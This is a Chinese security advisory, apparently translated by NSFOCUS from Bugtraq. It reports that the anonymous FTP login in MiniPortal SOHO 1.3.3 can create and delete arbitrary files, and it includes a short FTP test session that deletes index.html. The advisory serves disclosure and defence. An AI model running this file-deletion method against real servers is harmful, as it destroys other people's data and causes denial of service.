安全研究
安全漏洞
InstantServers MiniPortal SOHO匿名用户权限漏洞
发布日期:2003-03-31
更新日期:2003-04-07
受影响系统:InstantServers MiniPortal SOHO 1.3.3
描述:
BUGTRAQ ID:
7244
MiniPortal包含WEB、FTP和DNS服务应用程序。
MiniPortal包含的FTP服务程序对匿名用户权限设置不充分,远程攻击者可以利用这个漏洞建立和删除任意文件。
默认配置下,由于MiniPortal SOHO没有充分限制匿名用户权限,可导致任意用户删除和建立文件,产生拒绝服务攻击。
<*来源:subj (
r2subj3ct@dwcgr0up.com)
链接:
http://marc.theaimsgroup.com/?l=bugtraq&m=104924936112658&w=2
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
subj (
r2subj3ct@dwcgr0up.com)提供了如下测试方法:
>>Telnet 127.0.0.1 21
220 FTP Server, ready
>> USER anonymous
331 Password required
>> PASS anonymous@localhost
230 User logged in
>>MKD test
257 "test" created
>>RMD test
200 Okay
>>DELE index.html
200 Okay
建议:
厂商补丁:
InstantServers
--------------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.instantservers.com/miniportal_soho.html浏览次数:2779
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载 绿盟科技给您安全的保障 |